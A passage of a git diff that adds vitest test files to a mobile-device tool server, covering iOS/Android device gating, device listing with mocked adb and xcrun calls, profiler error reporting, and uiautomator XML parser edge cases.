+      /NativeProfilerSession currently supports iOS only.*Android/
+    );
+  });
+
+  it("native-devtools blueprint does NOT gate an iOS DeviceInfo (gate is one-sided)", async () => {
+    // Proof-of-gate: if the caller hands us an iOS device we pass the
+    // `device.platform !== "ios"` check. Whether the rest of the factory
+    // resolves or rejects depends on socket state which this test doesn't
+    // control — the invariant we care about is that the failure mode is
+    // never the iOS-only gate message for an iOS target.
+    const device = iosDevice("11111111-2222-3333-4444-555555555555");
+    let threwGateError = false;
+    try {
+      const instance = await nativeDevtoolsBlueprint.factory({}, device, { device });
+      // If the factory resolves, dispose it so we don't leak the socket watcher.
+      await instance.dispose();
+    } catch (e) {
+      if (e instanceof Error && /NativeDevtools is iOS-only/.test(e.message)) {
+        threwGateError = true;
+      }
+    }
+    expect(threwGateError).toBe(false);
+  });
+
+  it("native-devtools blueprint rejects when caller forgets options.device", async () => {
+    // Defensive: without a DeviceInfo the factory has no way to gate on
+    // platform — surface a clear error pointing at the helper rather than
+    // silently defaulting.
+    const stub = iosDevice("ignored");
+    await expect(nativeDevtoolsBlueprint.factory({}, stub)).rejects.toThrow(
+      /requires a resolved DeviceInfo via options\.device/
+    );
+  });
+
+  it("native-profiler-session blueprint rejects when caller forgets options.device", async () => {
+    const stub = iosDevice("ignored");
+    await expect(nativeProfilerSessionBlueprint.factory({}, stub)).rejects.toThrow(
+      /requires a resolved DeviceInfo via options\.device/
+    );
+  });
+
+  it("ax-service blueprint rejects an Android device with a targeted error", async () => {
+    const device = androidDevice("emulator-5554");
+    await expect(axServiceBlueprint.factory({}, device, { device })).rejects.toThrow(
+      /AXService is iOS-only.*Android.*uiautomator/
+    );
+  });
+
+  it("ax-service blueprint rejects when caller forgets options.device", async () => {
+    const stub = iosDevice("ignored");
+    await expect(axServiceBlueprint.factory({}, stub)).rejects.toThrow(
+      /requires a resolved DeviceInfo via options\.device/
+    );
+  });
+});
diff --git a/packages/tool-server/test/list-devices.test.ts b/packages/tool-server/test/list-devices.test.ts
new file mode 100644
index 00000000..66a835b1
--- /dev/null
+++ b/packages/tool-server/test/list-devices.test.ts
@@ -0,0 +1,181 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+
+const execFileMock = vi.fn();
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    execFile: (
+      cmd: string,
+      args: readonly string[],
+      opts: unknown,
+      cb?: (err: Error | null, out: { stdout: string; stderr: string }) => void
+    ) => {
+      const callback = typeof opts === "function" ? opts : cb!;
+      const options = typeof opts === "function" ? undefined : opts;
+      const result = execFileMock(cmd, args, options);
+      if (result instanceof Error) callback(result, { stdout: "", stderr: "" });
+      else callback(null, result ?? { stdout: "", stderr: "" });
+    },
+  };
+});
+
+// `runAdb` and `listAvds` resolve adb / emulator to an absolute path before
+// spawning, so a bare `cmd === "adb" / "emulator"` matcher would never fire
+// on real hosts. Stub the resolver to return the bare name so existing test
+// mocks keep working regardless of host SDK install state.
+vi.mock("../src/utils/android-binary", () => ({
+  resolveAndroidBinary: vi.fn(async (name: "adb" | "emulator") => name),
+  __resetAndroidBinaryCacheForTesting: () => {},
+}));
+
+import { listDevicesTool } from "../src/tools/devices/list-devices";
+
+function simctlJson(): string {
+  return JSON.stringify({
+    devices: {
+      "com.apple.CoreSimulator.SimRuntime.iOS-18-2": [
+        {
+          udid: "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA",
+          name: "iPhone 16",
+          state: "Booted",
+          deviceTypeIdentifier: "com.apple.CoreSimulator.SimDeviceType.iPhone-16",
+          isAvailable: true,
+        },
+        {
+          udid: "BBBBBBBB-BBBB-BBBB-BBBB-BBBBBBBBBBBB",
+          name: "iPad Pro",
+          state: "Shutdown",
+          deviceTypeIdentifier: "com.apple.CoreSimulator.SimDeviceType.iPad-Pro",
+          isAvailable: true,
+        },
+        {
+          udid: "CCCCCCCC-CCCC-CCCC-CCCC-CCCCCCCCCCCC",
+          name: "iPhone 16 (unavailable)",
+          state: "Shutdown",
+          deviceTypeIdentifier: "com.apple.CoreSimulator.SimDeviceType.iPhone-16",
+          isAvailable: false,
+        },
+      ],
+      "com.apple.CoreSimulator.SimRuntime.tvOS-17-5": [
+        {
+          udid: "DDDDDDDD-DDDD-DDDD-DDDD-DDDDDDDDDDDD",
+          name: "Apple TV",
+          state: "Shutdown",
+          deviceTypeIdentifier: "com.apple.CoreSimulator.SimDeviceType.Apple-TV",
+          isAvailable: true,
+        },
+      ],
+    },
+  });
+}
+
+beforeEach(() => {
+  execFileMock.mockReset();
+});
+
+describe("list-devices", () => {
+  it("merges iOS simulators and Android devices into a single tagged array", async () => {
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "xcrun" && args[0] === "simctl" && args[1] === "list") {
+        return { stdout: simctlJson(), stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: "List of devices attached\nemulator-5554\tdevice\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        const shellCmd = args[3] ?? "";
+        if (shellCmd.includes("ro.product.model")) return { stdout: "Pixel_3a\n", stderr: "" };
+        if (shellCmd.includes("ro.build.version.sdk")) return { stdout: "34\n", stderr: "" };
+        if (shellCmd.includes("ro.kernel.qemu.avd_name"))
+          return { stdout: "Pixel_3a_API_34\n", stderr: "" };
+      }
+      if (cmd === "emulator" && args[0] === "-list-avds") {
+        return { stdout: "Pixel_3a_API_34\nPixel_7_API_34\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const result = await listDevicesTool.execute!({}, {});
+
+    // Every device has a `platform` discriminator; there is no separate iOS/Android
+    // list the caller has to merge.
+    for (const d of result.devices) {
+      expect(d.platform === "ios" || d.platform === "android").toBe(true);
+    }
+
+    const ios = result.devices.filter((d) => d.platform === "ios") as Array<{
+      platform: "ios";
+      udid: string;
+      name: string;
+      state: string;
+    }>;
+    // Unavailable simulators are filtered out; tvOS is filtered out (non-iOS runtime).
+    expect(ios.map((d) => d.name).sort()).toEqual(["iPad Pro", "iPhone 16"]);
+    // Booted iOS devices come before shut-down ones.
+    expect(ios[0]!.state).toBe("Booted");
+    expect(ios[0]!.name).toBe("iPhone 16");
+
+    const android = result.devices.filter((d) => d.platform === "android") as Array<{
+      platform: "android";
+      serial: string;
+      sdkLevel: number | null;
+      avdName: string | null;
+      isEmulator: boolean;
+    }>;
+    expect(android).toHaveLength(1);
+    expect(android[0]).toMatchObject({
+      serial: "emulator-5554",
+      sdkLevel: 34,
+      avdName: "Pixel_3a_API_34",
+      isEmulator: true,
+    });
+
+    // AVDs list comes from `emulator -list-avds`.
+    expect(result.avds).toEqual([{ name: "Pixel_3a_API_34" }, { name: "Pixel_7_API_34" }]);
+  });
+
+  it("silently omits iOS when xcrun is unavailable — other platforms still returned", async () => {
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "xcrun") {
+        return new Error("xcrun: error: invalid active developer path");
+      }
+      if (cmd === "adb" && args[0] === "devices") {
+        return { stdout: "List of devices attached\nemulator-5554\tdevice\n", stderr: "" };
+      }
+      if (cmd === "adb" && args[0] === "-s" && args[2] === "shell") {
+        return { stdout: "", stderr: "" };
+      }
+      if (cmd === "emulator") {
+        return { stdout: "Pixel_3a_API_34\n", stderr: "" };
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const result = await listDevicesTool.execute!({}, {});
+    expect(result.devices.filter((d) => d.platform === "ios")).toHaveLength(0);
+    expect(result.devices.filter((d) => d.platform === "android")).toHaveLength(1);
+    expect(result.avds.length).toBeGreaterThan(0);
+  });
+
+  it("silently omits Android when adb is unavailable — iOS still returned", async () => {
+    execFileMock.mockImplementation((cmd: string, args: string[]) => {
+      if (cmd === "xcrun" && args[0] === "simctl") {
+        return { stdout: simctlJson(), stderr: "" };
+      }
+      if (cmd === "adb") {
+        return new Error("adb: command not found");
+      }
+      if (cmd === "emulator") {
+        return new Error("emulator: command not found");
+      }
+      return { stdout: "", stderr: "" };
+    });
+
+    const result = await listDevicesTool.execute!({}, {});
+    expect(result.devices.filter((d) => d.platform === "android")).toHaveLength(0);
+    expect(result.devices.filter((d) => d.platform === "ios").length).toBeGreaterThan(0);
+    expect(result.avds).toEqual([]);
+  });
+});
diff --git a/packages/tool-server/test/native-devtools-status.test.ts b/packages/tool-server/test/native-devtools-status.test.ts
index 4afb4d29..26580301 100644
--- a/packages/tool-server/test/native-devtools-status.test.ts
+++ b/packages/tool-server/test/native-devtools-status.test.ts
@@ -43,7 +43,7 @@ describe("native-devtools-status tool", () => {
     await expect(
       nativeDevtoolsStatusTool.execute(
         { nativeDevtools: api },
-        { udid: "SIM-1", bundleId: "com.example.app" }
+        { udid: "11111111-1111-1111-1111-111111111111", bundleId: "com.example.app" }
       )
     ).resolves.toEqual({
       envSetup: true,
@@ -62,7 +62,7 @@ describe("native-devtools-status tool", () => {
     await expect(
       nativeDevtoolsStatusTool.execute(
         { nativeDevtools: api },
-        { udid: "SIM-1", bundleId: "com.example.app" }
+        { udid: "11111111-1111-1111-1111-111111111111", bundleId: "com.example.app" }
       )
     ).resolves.toEqual({
       envSetup: true,
diff --git a/packages/tool-server/test/native-profiler-missing-trace.test.ts b/packages/tool-server/test/native-profiler-missing-trace.test.ts
new file mode 100644
index 00000000..346b33c2
--- /dev/null
+++ b/packages/tool-server/test/native-profiler-missing-trace.test.ts
@@ -0,0 +1,66 @@
+/**
+ * Regression: when native-profiler-stop has populated `exportedFiles.cpu` with
+ * a path but the file is unreadable (deleted, FS error, /tmp cleanup), the
+ * pipeline used to silently swallow the ENOENT inside parseCpuFile and
+ * return empty data, and the analyze tool would render an "All clear"
+ * report — pretending the trace was successfully analyzed when the data
+ * was never read.
+ *
+ * The analyze tool must distinguish ENOENT/EACCES from "file exists but
+ * has no findings" and surface the export failure via `exportErrors`.
+ */
+import { describe, it, expect } from "vitest";
+import { join } from "node:path";
+import { tmpdir } from "node:os";
+import { mkdtemp, rm, writeFile } from "node:fs/promises";
+import { nativeProfilerAnalyzeTool } from "../src/tools/profiler/native-profiler/native-profiler-analyze";
+import type { NativeProfilerSessionApi } from "../src/blueprints/native-profiler-session";
+
+describe("native-profiler-analyze: missing trace file", () => {
+  it("surfaces an export warning that names the missing CPU file when its path is set but the file is absent", async () => {
+    let dir: string | null = null;
+    try {
+      dir = await mkdtemp(join(tmpdir(), "native-profiler-missing-"));
+      const cpuPath = join(dir, "missing_cpu.xml"); // never written
+      // Provide real (empty-but-readable) hangs/leaks files so the only
+      // possible warning is about the missing CPU file. This isolates the
+      // bug from the existing null-path warnings.
+      const hangsPath = join(dir, "hangs.xml");
+      const leaksPath = join(dir, "leaks.xml");
+      await writeFile(hangsPath, "<root></root>", "utf8");
+      await writeFile(leaksPath, "<root></root>", "utf8");
+      const traceFile = join(dir, "fake.trace");
+
+      // Simulate what native-profiler-stop hands to native-profiler-analyze:
+      // exportedFiles has a non-null CPU path, but the file does not exist.
+      const session: NativeProfilerSessionApi = {
+        deviceId: "TEST-DEVICE",
+        appProcess: null,
+        xctracePid: null,
+        traceFile,
+        exportedFiles: { cpu: cpuPath, hangs: hangsPath, leaks: leaksPath },
+        profilingActive: false,
+        wallClockStartMs: null,
+        parsedData: null,
+        recordingTimeout: null,
+      };
+
+      const result = await nativeProfilerAnalyzeTool.execute(
+        { session },
+        { device_id: "TEST-DEVICE" }
+      );
+
+      // Bug: previously this rendered "All clear" with no warning because
+      // parseCpuFile silently swallowed the ENOENT. Fix: a missing-file path
+      // must produce an Export warning whose CPU entry names the bad path.
+      expect(result.report).toContain("Export warnings");
+      // The warning should mention the CPU category and reference the file.
+      expect(result.report).toMatch(/-\s*\*\*cpu\*\*:[^\n]*missing_cpu\.xml/i);
+      // Word it so the user understands the file is missing/unreadable, not
+      // that the export was simply empty.
+      expect(result.report).toMatch(/missing|not found|unreadable/i);
+    } finally {
+      if (dir) await rm(dir, { recursive: true, force: true });
+    }
+  });
+});
diff --git a/packages/tool-server/test/simulator-server-blueprint.test.ts b/packages/tool-server/test/simulator-server-blueprint.test.ts
new file mode 100644
index 00000000..363a7527
--- /dev/null
+++ b/packages/tool-server/test/simulator-server-blueprint.test.ts
@@ -0,0 +1,203 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { EventEmitter } from "node:events";
+import { Readable } from "node:stream";
+import type { DeviceInfo } from "@argent/registry";
+
+// ─── Mocks ───────────────────────────────────────────────────────────
+//
+// We mock at the module-boundary layer so the real blueprint factory runs —
+// this is a repro of the dispatch, stdio and AX-automation behaviour, not a
+// shape check. If any of these are quietly regressed, hands-on Android
+// sessions will start failing before this test does, so the assertions below
+// are deliberately specific (argv, stdio, ensureAutomationEnabled call count).
+
+const spawnMock = vi.fn();
+const ensureAutomationEnabledMock = vi.fn();
+
+vi.mock("node:child_process", async () => {
+  const actual = await vi.importActual<typeof import("node:child_process")>("node:child_process");
+  return {
+    ...actual,
+    spawn: spawnMock,
+  };
+});
+
+vi.mock("../src/blueprints/ax-service", () => ({
+  ensureAutomationEnabled: ensureAutomationEnabledMock,
+}));
+
+vi.mock("@argent/native-devtools-ios", () => ({
+  simulatorServerBinaryPath: () => "/fake/bin/simulator-server",
+  simulatorServerBinaryDir: () => "/fake/bin",
+}));
+
+function makeFakeProc() {
+  const proc = new EventEmitter() as EventEmitter & {
+    stdout: Readable;
+    stderr: Readable;
+    stdin: { write: ReturnType<typeof vi.fn> };
+    kill: ReturnType<typeof vi.fn>;
+  };
+  proc.stdout = new Readable({ read() {} });
+  proc.stderr = new Readable({ read() {} });
+  proc.stdin = { write: vi.fn() };
+  proc.kill = vi.fn();
+  return proc;
+}
+
+/**
+ * Push an `api_ready` line into stdout so readline's line event fires and the
+ * blueprint resolves. We push on nextTick so the blueprint has time to attach
+ * its listener after calling `spawn`.
+ */
+function signalReady(proc: ReturnType<typeof makeFakeProc>, port: number) {
+  setImmediate(() => {
+    proc.stdout.push(`api_ready http://127.0.0.1:${port}\n`);
+  });
+}
+
+function iosDevice(udid: string): DeviceInfo {
+  return { id: udid, platform: "ios", kind: "simulator" };
+}
+
+function androidDevice(serial: string): DeviceInfo {
+  return { id: serial, platform: "android", kind: "emulator" };
+}
+
+describe("simulatorServerBlueprint.factory — receives a pre-resolved DeviceInfo", () => {
+  beforeEach(async () => {
+    spawnMock.mockReset();
+    ensureAutomationEnabledMock.mockReset().mockResolvedValue(undefined);
+    // Pre-warm the dep cache so the Android branch's `ensureDep('adb')` doesn't
+    // shell out to `command -v adb` — CI Linux runners don't have adb on PATH
+    // and the real probe would surface as a DependencyMissingError unrelated
+    // to the dispatch behaviour under test. Lazy-imported so check-deps.ts
+    // loads after the hoisted vi.mock factories have spawnMock initialised.
+    const { __resetDepCacheForTests, __primeDepCacheForTests } =
+      await import("../src/utils/check-deps");
+    __resetDepCacheForTests();
+    __primeDepCacheForTests(["xcrun", "adb"]);
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("spawns the `ios` subcommand and warms the AX automation flag for an iOS device", async () => {
+    const fakeProc = makeFakeProc();
+    spawnMock.mockReturnValue(fakeProc);
+
+    // Late import — the mocks are active at module-load time.
+    const { simulatorServerBlueprint } = await import("../src/blueprints/simulator-server");
+
+    const udid = "11111111-2222-3333-4444-555555555555";
+    const device = iosDevice(udid);
+    const factoryPromise = simulatorServerBlueprint.factory({}, device, { device });
+    signalReady(fakeProc, 55555);
+    const instance = await factoryPromise;
+
+    // Contract under test:
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    const [binary, args, opts] = spawnMock.mock.calls[0]!;
+    expect(binary).toBe("/fake/bin/simulator-server");
+    expect(args).toEqual(["ios", "--id", udid]);
+    // stdin must stay open — the server treats EOF on stdin as a shutdown signal.
+    // We verified this hands-on; if this regresses the server silently exits
+    // as soon as the tool-server pipes /dev/null.
+    expect(opts?.stdio).toEqual(["pipe", "pipe", "pipe"]);
+
+    expect(ensureAutomationEnabledMock).toHaveBeenCalledTimes(1);
+    expect(ensureAutomationEnabledMock).toHaveBeenCalledWith(udid);
+
+    expect(instance.api.apiUrl).toBe("http://127.0.0.1:55555");
+    expect(typeof instance.api.pressKey).toBe("function");
+
+    await instance.dispose();
+    expect(fakeProc.kill).toHaveBeenCalledTimes(1);
+  });
+
+  it("spawns the `android` subcommand and skips the iOS AX automation flag for an Android device", async () => {
+    const fakeProc = makeFakeProc();
+    spawnMock.mockReturnValue(fakeProc);
+
+    const { simulatorServerBlueprint } = await import("../src/blueprints/simulator-server");
+
+    const serial = "emulator-5554";
+    const device = androidDevice(serial);
+    const factoryPromise = simulatorServerBlueprint.factory({}, device, { device });
+    signalReady(fakeProc, 55556);
+    await factoryPromise;
+
+    expect(spawnMock).toHaveBeenCalledTimes(1);
+    expect(spawnMock.mock.calls[0]![1]).toEqual(["android", "--id", serial]);
+
+    // No xcrun AX flag on Android — it is iOS-only and would error out.
+    expect(ensureAutomationEnabledMock).not.toHaveBeenCalled();
+  });
+
+  it("trusts the supplied DeviceInfo and does not reclassify the id", async () => {
+    // Single-source-of-truth: the blueprint must not run resolveDevice itself.
+    // If a caller passes an Android device whose id happens to look like an
+    // iOS UDID, the factory honors the platform on the DeviceInfo and routes
+    // to the `android` subcommand — not the `ios` one a shape heuristic would
+    // have picked.
+    const fakeProc = makeFakeProc();
+    spawnMock.mockReturnValue(fakeProc);
+    const { simulatorServerBlueprint } = await import("../src/blueprints/simulator-server");
+
+    const idShapedLikeIos = "11111111-2222-3333-4444-555555555555";
+    const device: DeviceInfo = { id: idShapedLikeIos, platform: "android", kind: "emulator" };
+    const factoryPromise = simulatorServerBlueprint.factory({}, device, { device });
+    signalReady(fakeProc, 55557);
+    await factoryPromise;
+
+    expect(spawnMock.mock.calls[0]![1]![0]).toBe("android");
+    expect(ensureAutomationEnabledMock).not.toHaveBeenCalled();
+  });
+
+  it("pressKey writes the shared stdin command protocol regardless of platform", async () => {
+    const fakeProc = makeFakeProc();
+    spawnMock.mockReturnValue(fakeProc);
+    const { simulatorServerBlueprint } = await import("../src/blueprints/simulator-server");
+
+    const device = androidDevice("emulator-5554");
+    const factoryPromise = simulatorServerBlueprint.factory({}, device, { device });
+    signalReady(fakeProc, 55558);
+    const instance = await factoryPromise;
+
+    instance.api.pressKey("Down", 0x29);
+    instance.api.pressKey("Up", 0x29);
+
+    expect(fakeProc.stdin.write).toHaveBeenNthCalledWith(1, "key Down 41\n");
+    expect(fakeProc.stdin.write).toHaveBeenNthCalledWith(2, "key Up 41\n");
+  });
+
+  it("swallows an iOS AX-automation failure — the server must still start", async () => {
+    // ensureAutomationEnabled is best-effort: if xcrun isn't on PATH, or the
+    // simulator is pre-booted with the flag set already, we must continue.
+    ensureAutomationEnabledMock.mockRejectedValueOnce(new Error("xcrun missing"));
+
+    const fakeProc = makeFakeProc();
+    spawnMock.mockReturnValue(fakeProc);
+    const { simulatorServerBlueprint } = await import("../src/blueprints/simulator-server");
+
+    const device = iosDevice("22222222-3333-4444-5555-666666666666");
+    const factoryPromise = simulatorServerBlueprint.factory({}, device, { device });
+    signalReady(fakeProc, 55559);
+    const instance = await factoryPromise;
+
+    expect(instance.api.apiUrl).toBe("http://127.0.0.1:55559");
+  });
+
+  it("rejects when the caller forgets to pass DeviceInfo via options", async () => {
+    // Defensive: without a device, the factory has no way to decide ios vs
+    // android (and that's intentional — the SOT now lives upstream). Surface a
+    // clear actionable error instead of silently using a default.
+    const { simulatorServerBlueprint } = await import("../src/blueprints/simulator-server");
+    const stub: DeviceInfo = { id: "ignored", platform: "ios", kind: "simulator" };
+
+    await expect(simulatorServerBlueprint.factory({}, stub)).rejects.toThrow(
+      /requires a resolved DeviceInfo via options\.device/
+    );
+  });
+});
diff --git a/packages/tool-server/test/uiautomator-parser-hardening.test.ts b/packages/tool-server/test/uiautomator-parser-hardening.test.ts
new file mode 100644
index 00000000..607b1dee
--- /dev/null
+++ b/packages/tool-server/test/uiautomator-parser-hardening.test.ts
@@ -0,0 +1,233 @@
+import { describe, it, expect } from "vitest";
+import { parseUiAutomatorDump, parseUiAutomatorXml } from "../src/utils/uiautomator-parser";
+
+describe("uiautomator numeric entities (review #5)", () => {
+  it("decodes &#N; decimal character references in text / content-desc", () => {
+    // `→` is U+2192, which can appear in uiautomator dumps encoded as &#8594;
+    // Without numeric-ref handling these survived undecoded into labels.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="Next &#8594;" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    const node = tree.children[0]!;
+    expect(node.label).toBe("Next →");
+  });
+
+  it("decodes &#xH; hex character references", () => {
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="Done &#x2713;" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children[0]!.label).toBe("Done ✓");
+  });
+
+  it("decodes multi-codepoint (supplementary plane) numeric refs", () => {
+    // 😀 is U+1F600 — outside the BMP, needs String.fromCodePoint (not String.fromCharCode).
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="Hi &#128512;" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children[0]!.label).toBe("Hi 😀");
+  });
+
+  it("replaces out-of-range / surrogate references with empty instead of throwing", () => {
+    // U+D800 is a lone surrogate high-half; 0x110001 is past Unicode max.
+    // String.fromCodePoint would throw for the latter — the decoder has to
+    // swallow it so the rest of the tree is still usable.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="X&#xD800;Y&#1114113;Z" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children[0]!.label).toBe("XYZ");
+  });
+
+  it("still decodes the five named entities alongside numeric ones", () => {
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="A &amp; B &lt;c&gt; &#33;" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children[0]!.label).toBe("A & B <c> !");
+  });
+
+  it("does NOT double-decode — &amp;lt; stays as literal '&lt;' (XML §4.6)", () => {
+    // Per XML 1.0 §4.6, `&amp;lt;` represents the five literal characters
+    // `&lt;`, not `<`. A chained decoder (numeric refs, then each named ref
+    // as its own .replace pass) feeds the ampersand produced by the first
+    // step into the second step, collapsing `&amp;lt;` → `&lt;` → `<`.
+    // The single-pass alternation scans left-to-right and consumes each
+    // match once, so decoded output never re-feeds the decoder.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="&amp;lt;" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children[0]!.label).toBe("&lt;");
+  });
+
+  it("does NOT double-decode — &#38;lt; (numeric ampersand + 'lt;') also stays literal", () => {
+    // Same bug surface via a numeric reference. `&#38;` decodes to `&` in a
+    // chained implementation, and the second pass then sees `&lt;` and
+    // collapses it to `<`. Single-pass keeps the decoded `&` distinct.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="&#38;lt;" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children[0]!.label).toBe("&lt;");
+  });
+
+  it("does NOT double-decode — &#x26;amp; stays literal '&amp;'", () => {
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="&#x26;amp;" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children[0]!.label).toBe("&amp;");
+  });
+});
+
+describe("uiautomator deeply-nested tree (review #6)", () => {
+  it("parses a 15k-deep hierarchy without blowing the JS stack", () => {
+    // The review claimed 15k-deep was realistic on a misconfigured
+    // RecyclerView + overlays. Build a dump that deep and confirm the new
+    // iterative converter handles it.
+    const depth = 15_000;
+    let xml = `<?xml version='1.0' ?>\n<hierarchy rotation="0">\n`;
+    for (let i = 0; i < depth; i++) {
+      xml += `<node index="${i}" text="" resource-id="" class="android.view.View" package="com.x" content-desc="" bounds="[${i},${i}][${depth},${depth}]">\n`;
+    }
+    for (let i = 0; i < depth; i++) xml += `</node>\n`;
+    xml += `</hierarchy>\n`;
+
+    // This is the assertion that caught the recursion bug: a recursive
+    // tree converter throws `Maximum call stack size exceeded` on this depth.
+    expect(() => parseUiAutomatorDump(xml, depth, depth)).not.toThrow();
+  });
+
+  it("parses a 10k-deep tree to a usable XML AST without overflow", () => {
+    // Same defence as the previous test, but checking the XML-parser stage in
+    // isolation: a 10k-nested `<node>` chain must produce a walkable AST.
+    const depth = 10_000;
+    let xml = `<?xml version='1.0' ?>\n<hierarchy rotation="0">\n`;
+    for (let i = 0; i < depth; i++) {
+      xml += `<node index="${i}" class="android.view.View" bounds="[0,0][100,100]" text="" resource-id="" content-desc="" package="com.x">\n`;
+    }
+    for (let i = 0; i < depth; i++) xml += `</node>\n`;
+    xml += `</hierarchy>\n`;
+
+    const parsed = parseUiAutomatorXml(xml);
+    expect(parsed).not.toBeNull();
+    expect(parsed!.children).toHaveLength(1);
+  });
+});
+
+describe("parseUiAutomatorXml — tolerates raw `>` inside attribute values", () => {
+  // XML §2.4: only `<` and `&` MUST be escaped. `>` MAY appear unescaped, and
+  // real Android dumps do emit it that way (e.g. text="A > B" comparison
+  // strings, breadcrumb dividers). The previous tag regex used `[^<>]*?` for
+  // the attribute block, so any node with a raw `>` got dropped entirely and
+  // its subtree silently reparented onto the document root.
+  it("preserves a node whose `text` attribute contains a raw `>`", () => {
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.TextView" bounds="[0,0][100,50]"
+        text="A > B" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    expect(tree.children).toHaveLength(1);
+    expect(tree.children[0]!.label).toBe("A > B");
+  });
+});
+
+describe("parseUiAutomatorXml — robust against malformed structure", () => {
+  it("ignores a stray closing tag without dropping subsequent siblings", () => {
+    // A leftover `</node>` with no matching opener used to pop a real parent
+    // off the stack; the next opening tag then became a second `root`,
+    // overwriting the first. Now: pop is guarded, and root is set only once.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.LinearLayout" bounds="[0,0][1000,1000]"
+        text="" resource-id="" content-desc="" package="com.x">
+    <node class="android.widget.TextView" bounds="[0,0][100,50]"
+          text="first" resource-id="" content-desc="" package="com.x" />
+  </node>
+  </node>
+  <node class="android.widget.TextView" bounds="[0,200][100,250]"
+        text="second" resource-id="" content-desc="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    // Both top-level child nodes should survive under the synthetic Screen root.
+    const labels = tree.children.flatMap((c) => collectLabels(c));
+    expect(labels).toContain("first");
+    expect(labels).toContain("second");
+  });
+});
+
+function collectLabels(n: {
+  label?: string;
+  children: { label?: string; children: unknown[] }[];
+}): string[] {
+  const out: string[] = [];
+  if (n.label) out.push(n.label);
+  for (const c of n.children) out.push(...collectLabels(c as Parameters<typeof collectLabels>[0]));
+  return out;
+}
+
+describe("parseUiAutomatorDump — preserves siblings under a bounds-less wrapper", () => {
+  it("does not drop multiple children when the parent has no bounds", () => {
+    // Compose hierarchies emit bounds-less wrappers with multiple children
+    // routinely. The previous "collapse to sole child or drop" rule silently
+    // dropped every child whenever there were 2+, so the agent never saw
+    // them. Now the wrapper is replaced with a synthetic node whose frame is
+    // the union of the children, and the children remain reachable.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="androidx.compose.ui.platform.ComposeView">
+    <node class="android.widget.Button" bounds="[0,0][100,50]"
+          text="left" content-desc="" resource-id="" package="com.x" />
+    <node class="android.widget.Button" bounds="[200,0][300,50]"
+          text="right" content-desc="" resource-id="" package="com.x" />
+  </node>
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1000, 1000);
+    const labels = tree.children.flatMap((c) => collectLabels(c));
+    expect(labels).toContain("left");
+    expect(labels).toContain("right");
+  });
+});
+
+describe("parseUiAutomatorDump — clips off-screen rects to the screen", () => {
+  it("never produces a frame whose x + width exceeds 1", () => {
+    // Rail/badge at the right edge that uiautomator reports past the screen
+    // edge (real on tablets / foldables / drawer-overlay states). Without
+    // clipping, x clamped to 1 and width=190/1080≈0.176 made the tap centre
+    // land at 1.088 — off-screen.
+    const xml = `<?xml version='1.0' ?>
+<hierarchy rotation="0">
+  <node class="android.widget.Button" bounds="[1090,0][1280,200]"
+        text="X" content-desc="" resource-id="" package="com.x" />
+  <node class="android.widget.Button" bounds="[-100,0][50,100]"
+        text="Y" content-desc="" resource-id="" package="com.x" />
+</hierarchy>`;
+    const tree = parseUiAutomatorDump(xml, 1080, 1920);
+    for (const child of tree.children) {
